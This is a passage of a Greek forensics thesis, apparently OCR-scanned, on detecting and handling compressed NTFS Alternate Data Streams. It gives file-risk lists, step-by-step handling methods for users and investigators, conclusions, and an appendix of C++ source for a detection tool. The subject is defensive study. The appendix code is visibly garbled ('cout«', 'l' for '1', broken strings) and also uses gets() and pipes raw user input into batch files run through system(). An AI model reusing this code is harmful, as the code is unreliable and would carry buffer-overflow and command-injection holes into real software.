αποθηκευμένα .Τα αρχεία αυτά είναι τα:
1. G:\DCIM\readme.rar
2. G:\MSSONY\MOML0001\view.jpeg
Τα αποτελέσματα αυτά εάν συγκριθούν με τα αποτελέσματα του λογισμικού που αναπτύχθηκε σε 
αυτή την διπλωματική και εμφανίζονται στον Πίνακα 5.5 ύστερα από Full search του ιδίου τόμου, 
βλέπουμε ότι δεν διαφέρουν καθόλου.
Και με τις δύο μεθόδους λοιπόν έχουμε 100% επιτυχία στην εξεύρεση αρχείων που κρύβουν 
συμπιεσμένα Alternate Data Streams, αν αυτά βέβαια δεν είναι και κρυπτογραφημένα.
Αλλά ας δούμε την αναλυτική εμφάνιση των δεδομένων που εντοπίστηκαν μέσα από το εργαλείο 
X-WAYS forensic και ας δούμε ποιές άλλες πληροφορίες μπορούμε να ανακτήσουμε αλλά και πώς 
πρέπει να συνεχίσουμε την έρευνα μας στο βήμα 6.
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Από τις δύο παραπάνω εικόνες μπορούμε να συμπεράνουμε τα εξής:
1. Τα δυο ύποπτα αρχεία είναι όμοια με μόνη διαφορά το όνομά τους
2. Περιέχουν δύο συμπιεσμένα αρχεία, ένα κανονικό αρχείο κειμένου το readme.txt 
και ένα σε alternate data stream το mshearts.exe
Άλλες χρήσιμες πληροφορίες είναι:
1. Μέγεθος
2. Ημερομηνία δημιουργίας
3. Τελευταία ημερομηνία ανάγνωσης
4. Τελευταία ημερομηνία εγγραφής
5. Διεύθυνση στη μνήμη
6. Διεύθυνση στον τόμο (path)
Ακόμη μπορούμε να υπολογίσουμε την τιμή hash διαφόρων αλγορίθμων με κατάλληλη διαδικασία 
ώστε να έχουμε ένα ηλεκτρονικό αποτύπωμα του κάθε ύποπτου αρχείου .Στις παρακάτω εικόνες 
παρουσιάζονται οι τιμές hash σε MD5 των 2 ύποπτων αρχείων.
r
Compute hash |X|
Compute hash
MD5 (128 bit)
Checksum (8 bit) 
Checksum (16 bit) 
Checksum (32 bit) 
Checksum (64 bit) 
CRC16 (16 bit) 
CRC32 (32 bit)
c ϊΙ
Εικόνα5
SHA-1 (160 bit)
S HA-256 (256 bitl
i.7: Επιλογή hash αλγορίθμων
Εικόνα5.8: MD5 hash τιμές των δύο υπόπτων αρχείων
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ΕΝΟΤΗΤΑ 5.5 - ΠΡΟΤΕΙΝΟΜΕΝΗ ΜΕΘΟΔΟΛΟΓΙΑ ΔΙΑΧΕΙΡΗΣΗΣ ΥΠΟΠΤΩΝ 
ΑΡΧΕΙΩΝ
Οι δύο μέθοδοι (live,post-mortem) που περιγράφηκαν παραπάνω οδηγούν στον εντοπισμό/εξέυρεση 
των υπόπτων αρχείων .Πρέπει να αναπτυχθεί όμως κατάλληλη διαδικασία για την σωστή διαχείριση 
των αρχείων που εντοπίστηκαν ώστε να συμπεράνουμε:
1. Αν όντως τα αρχεία που εντοπίσαμε περιέχουν ή κρύβουν Alternate data streams
2. Αν μπορούμε να αποσυμπιέσουμε όσα αρχεία χρειάζονται χωρίς απώλειες
3. Αν τα Alternate data streams αυτά είναι επικίνδυνα (ιοί, Trojans)
4. Αν περιέχουν την πληροφορία που αναζητούσαμε
5. Αν μπορούμε να τα διαγράψουμε, όπου αυτά δεν είναι απαραίτητα
Σύμφωνα λοιπόν με τις παραπάνω αξιώσεις είναι καλό να προταθούν δυο διαφορετικές 
Μεθοδολογίες Διαχείρισης Υπόπτων Αρχείων σε σχέση με τα Alternate Data Streams, μία με 
προσανατολισμό την προστασία και έλεγχο του απλού χρήστη και μία για τον εντοπισμό, την 
εξαγωγή και την τεκμηρίωση δεδομένων και στοιχείων ενός Forensic Investigator.
Προτεινόμενη Μεθοδολογία Απλού Χρήστη
Επιλογή Αρχείου από Log File 4-
Εικόνα5.9: Διάγραμμα ροής Διαχείρισης Υπόπτων Αρχείων (απλού χρήστη)
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Το παραπάνω διάγραμμα μπορεί να χρησιμοποιηθεί από έναν απλό χρήστη και σε συνδυασμό με τα 
εργαλεία πού έχουν αναπτυχθεί για αυτή την διπλωματική να βοηθήσει στην σωστή διαχείριση 
αρχείων/φακέλων που σχετίζονται με Alternate Data Streams.Ακολουθώντας τα βήματα που 
περιγράφονται από το διάγραμμα λοιπόν ο χρήστης επιλέγει ένα προς ένα τα αρχεία που έχουν 
αποδειχθεί ύποπτα, με την χρήση των εργαλείων εντοπισμού και ανάλογα με το File System :
-Αν είναι NTFS:
-Αν είναι συμπιεσμένο κρυφό Alternate Data Stream οδηγούμαστε στην περίπτωση το file 
system να μην είναι NTFS και το επιλύουμε με την ανάλογη διαδικασία.
-Αν δεν είναι συμπιεσμένο Alternate Data Stream.
-Ελέγχουμε την λίστα επικινδυνότητας 1, για να κατανοήσουμε πόσο επικίνδυνο 
θεωρητικά είναι το αρχείο που περιέχεται στο Alternate Data Stream.
Μπορούμε άμεσα να διαγράψουμε το Alternate Data Stream με χρήση του ds.exe. 
-Ελέγχουμε για ιούς ή άλλο κακόβουλο λογισμικό με την χρήση κατάλληλων 
antivirus/antispyware που υποστηρίζουν τον έλεγχο των Alternate Data Stream 
(κεφ.4, πίνακας 4.2).
Μπορούμε άμεσα να διαγράψουμε το Alternate Data Stream με χρήση του ds.exe. 
-Εάν δεν υπάρχει ιδιαίτερος κίνδυνος ,και θεωρούμε το περιεχόμενο του Alternate 
Data Stream είναι αθώο μπορούμε να το προσπελάσουμε με την χρήση της Εντολής 
4.4.2,κεφ.4.
“start file.ext:ads.ext”
-Μπορούμε να διαγράψουμε το Alternate Data Stream με χρήση του ds.exe. 
-Ξεκινάμε από την αρχή την διαδικασία με το επόμενο ύποπτο αρχείο.
-Αν δεν είναι NTFS:
-Αν είναι δεν είναι έγκυρο συμπιεσμένο Alternate Data Stream (παρακάτω παρουσιάζεται 
η διαδικασία εγκυρότητας) ξεκινάμε από την αρχή την διαδικασία με το επόμενο ύποπτο 
αρχείο.
-Αν είναι έγκυρο συμπιεσμένο Alternate Data Stream
-Ελέγχουμε την λίστα επικινδυνότητας 2, για να κατανοήσουμε πόσο επικίνδυνο 
θεωρητικά είναι το αρχείο που περιέχει το Alternate Data Stream,αλλά και το ίδιο
το Alternate Data Stream.
-Ελέγχουμε για ιούς ή άλλο κακόβουλο λογισμικό με την χρήση κατάλληλων 
antivirus/antispyware που υποστηρίζουν τον έλεγχο των Alternate Data Stream 
(κεφ.4,πίνακας 4.2).
Μπορούμε άμεσα να διαγράψουμε το Alternate Data Stream με χρήση του ds.exe. 
-Μετονομάζουμε κατάλληλα εάν χρειάζεται το αρχείο.
-Αποσυμπιέζουμε το αρχείο μόνο εάν μπορούμε να το αντιγράψουμε πρώτα σε μέσο 
αποθήκευσης που να υποστηρίζει NTFS αλλιώς σε αυτό το βήμα χάνεται το κρυφό 
Alternate Data Stream και μένει μόνο το βασικό Data Stream.
-Εάν θεωρούμε το περιεχόμενο του Alternate Data Stream είναι αθώο μπορούμε να 
το προσπελάσουμε με την χρήση της Εντολής 4.4.2,KE<p.4.“start file.ext:ads.ext” 
-Μπορούμε να διαγράψουμε το Alternate Data Stream με χρήση του ds.exe. 
-Ξεκινάμε από την αρχή την διαδικασία με το επόμενο ύποπτο αρχείο.
78
Institutional Repository - Library & Information Centre - University of Thessaly
08/12/2017 09:57:48 EET - 137.108.70.7
Λίστες Επικινδυνότητας
Οι λίστες επιιανδυνότητας αρχείων δημιουργήθηκαν ύστερα από έλεγχο διαφόρων επιθέσεων που 
έχουν γίνει με την χρήση των Alternate Data Streams, ιών και άλλου κακόβουλου λογισμικού που 
χρησιμοποιεί Alternate Data Streams για να διαδοθεί ή να μολύνει υπολογιστικά συστήματα, αλλά 
και από forensic έρευνες πού εξιχνιάστηκαν ύστερα από στοιχεία που βρέθηκαν κρυμμένα σε
Alternate Data Streams.
Τα αρχεία χαρακτηρίζονται επικίνδυνα ή όχι με μία κλίμακα από 5-1.Με πιο επικίνδυνο, αυτό 
βαθμού 5.Τα πιο δημοφιλή είναι:
Τύπος αρχείου Επικινδυνότητα Πιθανό Παράδειγμα
.exe .com .bat .vbs .jar 5 Win2K.Stream.a ->.exe
.rar .zip .tar .asp .php 
.html
4
.avi .mpg .pi .pdf .mp3 
.wma
3 Foxit Reader 2.0 for 
Windows Remote dos 
exploit->.pdf
.doc .xml .jpeg .jpg .bmp 2 Microsoft Security Bulletin 
MS04-028 ->.jpeg
.txt .ppt .ps .psd 1
λίστα επικινδυνότητας 1
Τύπος αρχείου Επικινδυνότητα
.exe .com .rar .txt 5
.mp3 .mpg .html 4
.avi .mpg 3
.doc .xml .jpeg .jpg .pdf 2
.ppt .ps .psd 1
λίστα επικινδυνότητας 2
Έλεγχος εγκυρότητας ADS-Ορθή Μετονομασία
Για τον έλεγχο εγκυρότητας ενός υπόπτου αρχείου αρκεί να κάνουμε δεξί κλικ στο αρχείο και μετά
Ανοιγμα με Notepad.
Εάν το αρχείο έχει την παρακάτω μορφή (δηλαδή όνομα άλλου αρχείου δίπλα από την ASCII 
συμβολοσειρά “STM”) τότε περιέχει σίγουρα ADS:
f! view, jpeg - Σημειωματάριο . (Ο X
I Αρχείο Επεξεργαοία Μορφή Προβολή Βοήθεια ]
|Rar!**|ODs ιTt □/ η UIT70 lreadme.txtQI 
Τί=Πζή€=ΠΦ τ ι—ι ΠΔΡ· 3L | STM: mshearts.exel 
ΐ "4Χ¥ %ο |-Ωή3&άιή d3 ΓιΨ-ι-+1 / r '©Ft 
Ηη 2flBJ Dit 'fl2D>© >rJ uj itYflAtw^uS @Dc -.]
Εικόναδ.ΙΟ
Με τον ίδιο τρόπο και για να ολοκληρώσουμε και την διαδικασία μετονομασία, βλέπουμε ότι το 
παραπάνω αρχείο ήταν τύπου (.jpeg), αλλά τελικά όπως αποδεικνύεται είχε μετονομαστεί έτσι και 
στην πραγματικότητα ήταν τύπου (.rar). Με απλή μετονομασία λοιπόν του αρχείου από (.jpeg) σε 
(.rar) μπορούμε τώρα να κάνουμε αποσυμπίεση.
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Προτεινόμενη Μεθοδολογία forensic investigator
__________ :
ΈλεΥΧ
επικινδυ
τ
ας λίστα 
νότητας 1
Ί r
Έλεγχος για Ιούς
Hash Value (md5) ^
Προεπισκόπηση
ADS
Έλεγχος λίστα 
επικινδυνότητας 2
Έλεγχος για Ιούς
Ορθή Μετονομασία
Αποσυμπίεση
Εικόνα5.11:Διάγραμμα ροής Διαχείρισης Υπόπτων Αρχείων (forensic investigator)
Μετά τον εντοπισμό υπόπτων αρχείων με χρήση των μεθόδων Live ή Post Mortem forensics ο 
εξεταστής πρέπει να διαχειριστεί με κάποιο τρόπο τα αρχεία ή τους φακέλους που έχει ανακτήσει. 
Θεωρούμε δεδομένο το γεγονός ότι έχει δημιουργηθεί ακριβές αντίγραφο του τόμου που εξετάζεται 
και μάλιστα σε άλλο NTFS τόμο. Το παραπάνω διάγραμμα μπορεί να χρησιμοποιηθεί από έναν 
εξεταστή και σε συνδυασμό με τα εργαλεία πού έχουν αναπτυχθεί για αυτή την διπλωματική να 
βοηθήσει στην σωστή διαχείριση .Ακολουθώντας τα βήματα που περιγράφονται από το διάγραμμα 
λοιπόν ο χρήστης επιλέγει ένα προς ένα τα αρχεία που έχουν αποδειχθεί ύποπτα, με την χρήση των 
εργαλείων εντοπισμού και έπειτα:
-Υπολογίζουμε την hash value του αρχείου μαζί με την χρονική στιγμή της εξέτασης και τις 
καταγράφουμε.
-Αν δεν είναι συμπιεσμένο Alternate Data Stream.
-Ελέγχουμε την λίστα επικινδυνότητας 1, για να κατανοήσουμε πόσο επικίνδυνο θεωρητικά 
είναι το αρχείο που περιέχεται στο Alternate Data Stream.
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Μπορούμε άμεσα να αποθηκεύσουμε τα χαρακτηριστικά του Alternate Data Stream και τα 
στοιχεία που εξάγονται από την μελέτη της λίστας 1.
-Ελέγχουμε για ιούς ή άλλο κακόβουλο λογισμικό με την χρήση κατάλληλων 
antivirus/antispyware που υποστηρίζουν τον έλεγχο των Alternate Data Stream 
(κεφ.4,πίνακας 4.2).
Μπορούμε άμεσα να αποθηκεύσουμε τα στοιχεία που εξάγονται από τον έλεγχο. 
-Υπολογίζουμε την hash value του αρχείου μαζί με την χρονική στιγμή της εξέτασης και τις 
καταγράφουμε.
-Εάν δεν υπάρχει ιδιαίτερος κίνδυνος και θεωρούμε το περιεχόμενο του Alternate Data 
Stream είναι αθώο μπορούμε να το προσπελάσουμε με την χρήση της Εντολής 
4.4.2, Ka<p.4.“start file.ext: ads.ext”.
-Μπορούμε άμεσα να αποθηκεύσουμε το Alternate Data Stream σε κανονικής μορφής 
αρχείο με την εντολή “type file.ext:ads.ext > ads.ext”.
-Ξεκινάμε από την αρχή την διαδικασία με το επόμενο ύποπτο αρχείο.
-Αν είναι δεν είναι έγκυρο συμπιεσμένο Alternate Data Stream ξεκινάμε από την αρχή την 
διαδικασία με το επόμενο ύποπτο αρχείο.
-Αν είναι έγκυρο συμπιεσμένο Alternate Data Stream.
-Ελέγχουμε την λίστα επικινδυνότητας 2, για να κατανοήσουμε πόσο επικίνδυνο θεωρητικά 
είναι το αρχείο που περιέχει το Alternate Data Stream,αλλά και το ίδιο το Alternate Data 
Stream.
Μπορούμε άμεσα να αποθηκεύσουμε τα χαρακτηριστικά του Alternate Data Stream και τα 
στοιχεία που εξάγονται από την μελέτη της λίστας 2.
-Ελέγχουμε για ιούς ή άλλο κακόβουλο λογισμικό με την χρήση κατάλληλων 
antivirus/antispyware που υποστηρίζουν τον έλεγχο των Alternate Data Stream 
(κεφ.4,πίνακας 4.2).
Μπορούμε άμεσα να αποθηκεύσουμε τα στοιχεία που εξάγονται από τον έλεγχο. 
-Μετονομάζουμε κατάλληλα εάν χρειάζεται το αρχείο.
-Υπολογίζουμε την hash value του αρχείου μαζί με την χρονική στιγμή της εξέτασης και τις 
καταγράφουμε.
-Αποσυμπιέζουμε το αρχείο.
-Θεωρούμε ότι το περιεχόμενο του συμπιεσμένου αρχείου είναι ένα νέο Alternate Data 
Stream.Apa ξεκινάμε την διαδικασία από την αρχή για το περιεχόμενο πλέον του 
συμπιεσμένου αρχείου, άρα από το σημείο ελέγχου της λίστα επικινδυνότητας 1.
Μετά την λήξη αυτής της διαδικασίας μπορούμε αν θέλουμε να διαγράψουμε τυχόν 
Alternate Data Streams που δημιουργήθηκαν με χρήση του ds.exe.
Αέξεις Κλειδιά:
Digital Forensics, Live Forensics, Post Mortem Forensics, Alternate Data Streams, ADS, NTFS 
File System, Fat File System, Winrar, Rar, Antivirus, Λίστες Επικινδυνότητας, Προτεινόμενη 
Μεθοδολογία Διαχείρισης Υπόπτων Αρχείων
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ΚΕΦΑΛΑΙΟ 6
ΕΝΟΤΗΤΑ 6.1 - ΣΥΜΠΕΡΑΣΜΑΤΑ
Υστέρα από μία γενικευμένη παρουσίαση των βασικών όρων, αξιών αλλά και μεθοδολογιών και 
τεχνικών της επιστήμης του Computer Forensics η διπλωματική αυτή εργασία επικεντρώθηκε στην 
ανάλυση της λειτουργίας και των ιδιοτήτων των Alternate Data Streams σαν ιδιότητα του NTFS file 
system.
Έπειτα από εκτενή μελέτη των ήδη υπαρχόντων εργαλείων (λογισμικού), μεθοδολογιών και 
τεχνικών του Computer Forensics, διαπιστώθηκε η έλλειψη τόσο λογισμικού όσο και μεθοδολογίας 
για τον ασφαλή εντοπισμό και διαπιστευμένη, κατά τα πρότυπα του Computer Forensics, διαχείριση 
Συμπιεσμένων Αρχείων που περιέχουν κρυφά Alternate Data Streams.
Μέσα από ρεαλιστικά παραδείγματα παρουσιάστηκε η κρισιμότητα της έλλειψης αυτής σε 
συνδυασμό με την αδυναμία λογισμικών antivirus να διεξάγουν την προαναφερθείσα λειτουργία για 
τον εντοπισμό κακόβουλου λογισμικού.
Δημιουργήθηκε λοιπόν εξειδικευμένο λογισμικό που να συμπληρώνει την έλλειψη αυτή 
ακολουθώντας καταρχάς τα ορθά πρότυπα του Computer Forensics, και κατά δεύτερον να 
ικανοποιεί την ανάγκη του απλού χρήστη για έλεγχο του συστήματος του.
Παράλληλα με τον λογισμικό αυτό, το οποίο καλύπτει και την απλή περίπτωση αναζήτησης των 
Alternate Data Streams σε NTFS,αναπτύχθηκε και κατάλληλη Μεθοδολογία Διαχείρισης Υπόπτων 
Συμπιεσμένων Αρχείων σε σχέση πάντα με τα Alternate Data Streams.
Έτσι πλέον ο Forensic Investigator έχει στα χέρια του ένα απλό αλλά μοναδικό στο είδος του 
εργαλείο που εντοπίζει άμεσα τα Alternate Data Streams ανεξαρτήτως τύπου και File System, αλλά 
και μια μεθοδολογία για να τα διαχειριστεί ορθά εφόσον τα εντοπίσει στο υπό εξέταση σύστημα.
Τα συμπεράσματα που εξάγονται από αυτή την διπλωματική μπορούν να χωριστούν σε δύο 
κατηγορίες:
1. Συμπεράσματα σχετιζόμενα με την επιστήμη του Forensics
• Έλλειψη εξειδικευμένου εργαλείου που να εντοπίζει τόσο τα συνηθισμένα όσο και τα 
συμπιεσμένα Alternate Data Streams.
• Έλλειψη τεχνικής Post Mortem Forensics για στοχευμένο εντοπισμό συμπιεσμένων Alternate 
Data Streams.
• Έλλειψη Μεθοδολογίας Διαχείρισης Υπόπτων Συμπιεσμένων Αρχείων σε σχέση με τα 
Alternate Data Streams.
• Αδυναμία σε μεγάλο βαθμό προγραμμάτων antivirus για εντοπισμό συμπιεσμένων Alternate 
Data Streams.
2. Δευτερεύοντα συμπεράσματα
• Έλλειψη ενημέρωσης των απλών χρηστών για την ύπαρξη των Alternate Data Streams και 
των ιδιοτήτων τους.
• Αυξημένος κίνδυνος εξάπλωσης κακόβουλου λογισμικού μέσω συμπιεσμένων Alternate 
Data Streams.
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ΕΝΟΤΗΤΑ 6.2 - ΜΕΛΛΟΝΤΙΚΕΣ ΕΦΑΡΜΟΓΕΣ
Δεδομένης της επικινδυνότητας στην χρήση των Alternate Data Streams αλλά και της ελάχιστης 
ενημέρωσης που έχει ο μέσος χρήστης γύρω από την λειτουργία τους κρίνεται επιτακτική η ανάγκη 
δημιουργίας κατάλληλου λογισμικού που να εντοπίζει και να ενημερώνει για την ύπαρξη των 
Alternate Data Streams κατά την μεταφορά τους και όχι μόνο αφού έχουν εγκατασταθεί. 
Προληπτικό λογισμικό λοιπόν μπορεί να αναπτυχθεί ώστε να περιορίζει την εξάπλωση αρχείων 
συμπίεσης τα οποία περιέχουν κρυφά Alternate Data Streams, εντοπίζοντάς τα κατά την 
μετακίνηση τους στο δίκτυο.
Ποιό συγκεκριμένα θα μπορούσε να αναπτυχθεί:
1. Λογισμικό που θα συνεργάζεται με φυλλομετρητές ιστού (web browsers) για εντοπισμό 
Alternate Data Streams στα αρχεία που γίνονται download.
2. Λογισμικό που θα συνεργάζεται με ftp clients για εντοπισμό Alternate Data Streams 
στα αρχεία που γίνονται download ή και upload.
3. Λογισμικό που θα συνεργάζεται με προγράμματα αλληλογραφίας και ελέγχει τα 
επισυναπτόμενα αρχεία που λαμβάνονται για ύπαρξη συμπιεσμένων Alternate Data 
Streams
4. Λογισμικό αυτοματοποίησης εντοπισμού συμπιεσμένων Alternate Data Streams για 
Post Mortem Forensics
Με την εφαρμογή των παραπάνω και την κατάλληλη ενημέρωση του απλού χρήστη είναι δυνατή η 
αποφυγή του κινδύνου κάποιας μαζικής εξάπλωσης κακόβουλου λογισμικού που να εκμεταλλεύεται 
τις ιδιότητες των Alternate Data Streams.
Τέλος, οι ειδικοί του forensic θα έχουν στα χέρια τους περισσότερα εργαλεία ώστε να εξάγουν πιο 
τεκμηριωμένα συμπεράσματα για την λειτουργία και τον ρόλο των Alternate Data Streams στις 
υποθέσεις που ερευνούν.
ΕΝΟΤΗΤΑ 6.3 - ΕΠΙΛΟΓΟΣ
Με την αυξημένη χρήση των ηλεκτρονικών υπολογιστών στην σημερινή κοινωνία η ανάγκη 
ύπαρξης και βελτίωσης της επιστήμης της Σήμανσης των Ηλεκτρονικών Υπολογιστών γίνεται 
ολοένα και πιο αισθητή. Η χρησιμότητά της δεν περιορίζεται μόνο στην εξαγωγή ακεραίων και 
αδιάβλητων δικαστικών ηλεκτρονικών στοιχείων, αλλά κατά κύριο λόγω διευκολύνει την επίλυση 
καθημερινών ζητημάτων που ολοένα και επηρεάζουν τις ζωές περισσοτέρων ανθρώπων όπως η 
εξεύρεση χαμένων συνθηματικών ή η αποκατάσταση κατεστραμμένων σκληρών δίσκων ή άλλων 
μέσων αποθήκευσης δεδομένων. Όσο πιο πολύ λοιπόν εξελίσσεται και ενημερώνεται η επιστήμη 
αυτή για τις νέες απειλές, τα νέα προβλήματα, αλλά και τις νέες μεθόδους δράσης των κακόβουλων 
χρηστών,τόσο πιο ασφαλής και προστατευμένος είναι ο απλός χρήστης.
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ΠΑΡΑΡΤΗΜΑ
main.cpp__________________________________________
#include <windows.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <string.h>
#include <direct.h>
#include <sys/stat.h> 
using namespace std;
bool PathExits(const char* pathtocheck); 
int fexist( char * filename );
int main(){ 
bool what; 
char VolName[100];
DWORD Serial;
DWORD MaxFileLength;
DWORD SysFlags;
DWORD ret2; 
char FSName[100]; 
char buf[26*4+l];
BOOL ret; 
int ij;
bool die=true; 
ofstream myfile;
(void)system("if not exist log.txt Echo .LOG FILE. > log.txt");
while(die){
system("cls");
C0ut« "*********=Μ=********\β''. 
cout« "* ADS-ripper vl.O *\n"; 
cout« "*******************\n\n"* 
cout«"-Menu-\n\n";
cout«" 1 .Hidden-ADS-in-Hard-Drive-Check\n";
cout«"2.Hidden-ADS-per-Folder-Check\n";
cout«"3.NTFS ADS check\n”;
cout«"4.LOG file\n";
cout«"5.Help\n";
cout«"O.Exit\n";
cout«"Now give me your choice (Press 0/1/2/3/4/5):"; 
cin»j;
switch (j) {
case 1 : system("cls");
cout«"\nl.Hidden-ADS-in-Hard-Drive-Check\n"; 
cout«"Hard Drive System Check initializing...\n"; 
cout«"Hard Drives :\n\n";
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// (void)system("C:\\test\\fastcheck.bat");
// (void)system("FINDSTR /s /m \" D?D:s Ώ3Π STM: \" * * > out.txt :exitbatch ");
ret2=GetLogicalDriveStrings(sizeof(buf),buf);
for(i=0;buf[i]! =0;i+=strlen(buf+i)+l) // bump up to the beginning of next drive string 
{ printf("%s =",buf+i);
ret=GetVolumeInformation(buf+i,
VolName,100,// volume Name 
&Serial, // Serial Number 
&MaxFileLength, // Max File Name Length 
&SysFlags, // File System Flags 
FSName,100 // FS Type 
);
printf("Volume Name : %s\n",VolName); 
printf("Serial Number: %u\n",Serial); 
printf("Max File Name: %u\n",MaxFileLength); 
printf("FS Type : %s\n",FSName); 
printf(" Flags: \n");
if(SysFlags & FS_CASE_IS_PRESERVED) { printf(" File Case Saved\n"); } 
if(SysFlags & FS_CASE_SENSITIVE){ printf(" File Case Important^"); } 
if(SysFlags & FS_UNICODE_STORED_ON_DISK)
{ printf(" Unicode files can be used\n"); } 
if(SysFlags & FS_PERSISTENT_ACLS)
{ printf(" File System has inherent security\n"); } 
if(SysFlags & FS_FILE_COMPRESSION)
{ printf(" Files can be compressed transparently^"); } 
if(SysFlags & FS_VOL_IS_COMPRESSED)
{ printf(" Volume is compressed\n"); } 
printf("................. -.................................. \n\n");
if ((!strcmp("FAT",FSName))|| 
(!strcmp("FAT16”,FSName))||(!strcmp("FAT32",FSName))) 
{cout«"The hard drive found is a FAT type drive.\n"; 
cout«"Do a full drive check ?\n"; 
getchar();
cout«"choose(y/n):\n"; 
char choice [100];
gets(choice);
if ((! strcmp("y",choice))| |(! strcmp(" Y",choice))| | 
(!strcmp("yes",choice))||(!strcmp("YES",choice)))]
// (void)system("xcopy fastcheck.bat G:\\"); 
(void)system("del runner.bat");
myfile.open ("runner.bat"); 
myfile « "fullcheck.bat"; 
myfile«buf+i;
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myfile.close();
(void)system("runner.bat");
(void)system("del runner.bat");
(void)system("@cls");
(void)system("type full.txt");
cout«"Do u want to save results to logs file?\n";
cout«"choose(y/n):\n";
char choice8[100];
gets(choice8);
if (!strcmp("y",choice8)){(void)system("type full.txt» log.txt"); 
cout«"Done!\n";}
(void)system("del full.txt");
}
else{cout«"Do a fast drive check ?\n"; 
getchar();
cout«"choose(y/n):\n"; 
char choice[100];
gets(choice);
if ((!strcmp("y",choice))||(!strcmp("Y",choice))|| 
(!strcmp("yes",choice))||(!strcmp("YES",choice))){
// (void)system("xcopy fastcheck.bat G:\\");
(void)system("del runner.bat");
myfile.open ("runner.bat"); 
myfile «"fastcheck.bat"; 
myfile«buf+i; 
myfile.close();
(void)system("runner.batM);
(void)system("del runner.bat");
(void)system("@cls");
(void)system("type fast.txt"); 
cout«"Do u want to save results to logs file?\n"; 
cout«"choose(y/n):\n"; 
char choice8[100]; 
gets(choice8);
if (!strcmp("y",choice8)){(void)system("type fast.txt» log.txt");
cout«"Done!\n"; }
(void)system("del fast.txt");
} else{
cout«"Proceeding to the next Drive...\n";} } }
else if (!strcmp("NTFS",FSName)){cout«"The hard drive found is an NTFS
cout«"Do a full drive check ?\n";
getchar();
cout«"choose(y/n):\n";
char choice[ 100];________________________________________ ______________
drive.\n";
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gets(choice);
if ((!strcmp("y",choice))||(!strcmp("Y",choice))||
(! strcmp("yes",choice))| |(! strcmp("YES",choice))) {
// (void)system("xcopy fastcheck.bat G:\\"); 
(void)system("del runner.bat");
myfile.open ("runner.bat"); 
myfile «"fullcheck.bat 
myfile«buf+i; 
myfile.close();
(void)system("runner.bat");
(void)system("del runner.bat");
(void)system("@cls");
(void)system("type full.txt");
cout«"Do u want to save results to logs file?\n";
cout«"choose(y/n) :\n";
char choice8[100];
gets(choice8);
if (!strcmp("y",choice8)){(void)system("type full.txt» log.txt");
cout«"Done!\n"; }
(void)system("del full.txt");
}
else{cout«"Do a fast drive check ?\n"; 
getchar();
cout«"choose(y/n):\n"; 
char choice [100];
gets(choice);
if ((! strcmp("y" ,choice))| |(! strcmp(" Y",choice))| | 
(!strcmp("yes",choice))||(!strcmp("YES",choice)))]
// (void)system("xcopy fastcheck.bat G:\\"); 
(void)system("del runner.bat");
myfile.open ("runner.bat"); 
myfile « "fastcheck.bat"; 
myfile«buf+i; 
myfile.close();
(void)system("runner.bat");
(void)system("del runner.bat");
(void)system("@cls");
(void)system("type fast.txt");
cout«"Do u want to save results to logs file?\n";
cout«"choose(y/n):\n";
char choice8[100];
gets(choice8);
if (!strcmp("y",choice8)){(void)system("type fast.txt» log.txt"); 
cout«"Done!\n"; }
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(void)system("del fast.txt");
} else{
cout«"Proceeding to the next Drive...\n";}}}
else if (!strcmp("CDFS",FSName)){cout«"The hard drive found is an CDFS drive.\n"; 
cout«"Do a full drive check ?\n"; 
getchar();
cout«"choose(y/n):\n"; 
char choiceflOO];
gets(choice);
if ((!strcmp("y",choice))||(!strcmp("Y",choice))|| 
(!strcmp("yes",choice))||(!strcmp("YES",choice))){
// (void)system("xcopy fastcheck.bat G:\\");
(void)system("del runner.bat");
myfile.open ("runner.bat"); 
myfile «"fullcheck.bat 
myfile«buf+i; 
myfile.close();
(void)system("runner.bat");
(void)system("del runner.bat");
(void)system("@cls");
(void)system("type full.txt"); 
cout«"Do u want to save results to logs file?\n"; 
cout«"choose(y/n):\n"; 
char choice8[100]; 
gets(choice8);
if (!strcmp("y",choice8)){(void)system("type full.txt» log.txt");
cout«"Done!\n"; }
(void)system("del full.txt");
}
else{cout«"Do a fast drive check ?\n"; 
getchar();
cout«"choose(y/n):\n"; 
char choice[100];
gets(choice);
if ((!strcmp("y",choice))||(!strcmp("Y",choice))|| 
(!strcmp("yes",choice))||(!strcmp(" YES",choice)))!
// (void)system("xcopy fastcheck.bat G:\Y); 
(void)system("if exist runner.bat del runner.bat");
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myfile.open ("runner.bat"); 
myfile «"fastcheck.bat 
myfile«buf+i; 
myfile.close();
(void)system("runner.batM);
(void)system("del runner.bat");
(void)system("@clsM);
(void)system("type fast.txt"); 
cout«"Do u want to save results to logs file?\n"; 
cout«"choose(y/n):\n"; 
char choice8[100]; 
gets(choice8);
if (!strcmp("y",choice8)){(void)system("type fast.txt» log.txt");
cout«"Done!\n"; }
(void)system("del fast.txt");
} else{
cout«"Proceeding to the next Drive...\n";}
}
else{cout«"There is no hard drive to scan.\n";}
}
cout«"\n\ntap ENTER to proceed."; 
getchar();
system("cls");
} system("cls"); 
break;
break;
case 2 : system("cls");
cout«"\n2.Hidden-ADS-per-Folder-Check\n"; 
cout«"Give full folder path:"; 
char choice33[1000]; 
getchar(); 
gets(choice33);
// what=PathExits(choice33);
// if ((!strcmp("",choice33))||(what==false)){system("cls"); 
// break;}
(void)system("if exist runner.bat del runner.bat");
myfile.open ("runner.bat"); 
myfile «"fhllcheck.bat"; 
myfile«choice3 3; 
myfile.close();
(void)system("runner.bat");
(void)system("del runner.bat");
(void)system("@cls");
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(void)system("type full.txt");
cout«"Do u want to save results to logs file?\n";
cout«"choose(y/n):\n";
char choice30[100];
gets(choice30);
if (!strcmp("y",choice30)){(void)system("type full.txt» log.txt");
cout«"Done!\n"; }
(void)system("del full.txt");
system("cls");
break;
case 3 : system("cls"); 
cout«"\n3.NTFS ADS check\n";
cout«"Do u want to check a file\folder itself or the contents of a folder?\n"; 
getchar();
cout«"choose(self / content):"; 
char choice[100];
gets(choice);
if(! strcmp(" selfchoice)) { 
cout«"Give full file/folder path:"; 
char choice2[1000j;
// getchar(); 
gets(choice2);
// j=fexist(choice2);
// if (j==l){system("cls");
// break;}
myfile.open ("ntfstool.bat");
myfile«"echo Date:%DATE% » ntfs-report.txt \n";
myfile«"echo Date:%TIME% » ntfs-report.txt \n";
myfile «"ls.exe";
myfile«choice2;
myfile«">> ntfs-report.txt";
myfile«"\n rehash.exe -none -md5 ";
myfile«choice2;
myfile«" » ntfs-report.txt ";
myfile.close();
(void)system("ntfstool.bat");
(void)system("del ntfstool.bat"); 
system("cls");
